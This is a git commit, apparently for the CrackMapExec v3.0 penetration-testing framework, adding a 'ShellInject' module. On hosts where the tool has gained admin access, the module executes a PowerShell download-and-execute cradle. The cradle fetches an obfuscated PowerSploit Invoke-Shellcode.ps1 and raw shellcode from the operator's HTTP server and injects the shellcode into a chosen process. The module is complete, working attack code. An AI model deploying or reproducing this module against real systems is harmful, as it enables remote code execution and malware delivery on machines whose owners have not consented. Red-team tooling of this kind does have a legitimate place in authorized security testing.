Initial v3.0 commit to master

Quick re-cap on the new features: * Credentials and hosts are now stored in a database, the cme_db.py script can be used to query it * Module system has been implemented allowing anyone to create payloads * All underlying powershell code has been ported to a module * The HTTP/HTTPS server now tracks connections: no more guessing when to CTRL-C * All around better code quality, error handling and logging
2026-06-06 16:34:30 +00:00 · 2016-03-27 15:17:18 -06:00
parent 792a631fe2
commit 10a12a9a0f
76 changed files with 4109 additions and 27454 deletions
@@ -0,0 +1,75 @@
+import os
+from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
+from sys import exit
+
+class CMEModule:
+    '''
+        Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
+        Module by @byt3bl33d3r
+    '''
+    name = 'ShellInject'
+
+    def options(self, context, module_options):
+        '''
+            PATH     Path to the raw shellcode to inject
+            PROCID   Process ID to inject into (default: current powershell process)
+        '''
+
+        if not 'PATH' in module_options:
+            context.log.error('PATH option is required!')
+            exit(1)
+
+        self.shellcode_path = os.path.expanduser(module_options['PATH'])
+        if not os.path.exists(self.shellcode_path):
+            context.log.error('Invalid path to shellcode!')
+            exit(1)
+
+        self.procid  = None
+
+        if 'PROCID' in module_options.keys():
+            self.procid = module_options['PROCID']
+
+        self.obfs_name = gen_random_string()
+
+    def on_admin_login(self, context, connection):
+
+        payload = """
+        IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
+        $WebClient = New-Object System.Net.WebClient;
+        [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
+        Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
+                                                              port=context.server_port,
+                                                              addr=context.localip,
+                                                              func_name=self.obfs_name,
+                                                              shellcode=os.path.basename(self.shellcode_path))
+
+        if self.procid:
+            payload += ' -ProcessID {}'.format(self.procid)
+
+        context.log.debug('Payload:{}'.format(payload))
+        payload = create_ps_command(payload, force_ps32=True)
+        connection.execute(payload)
+        context.log.success('Executed payload')
+
+    def on_request(self, context, request):
+        if 'Invoke-Shellcode.ps1' == request.path[1:]:
+            request.send_response(200)
+            request.end_headers()
+
+            with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1' ,'r') as ps_script:
+                ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
+                request.wfile.write(ps_script)
+
+        elif os.path.basename(self.shellcode_path) == request.path[1:]:
+            request.send_response(200)
+            request.end_headers()
+
+            with open(self.shellcode_path, 'rb') as shellcode:
+                request.wfile.write(shellcode.read())
+
+            #Target has the shellcode, stop tracking the host
+            request.stop_tracking_host()
+
+        else:
+            request.send_response(404)
+            request.end_headers()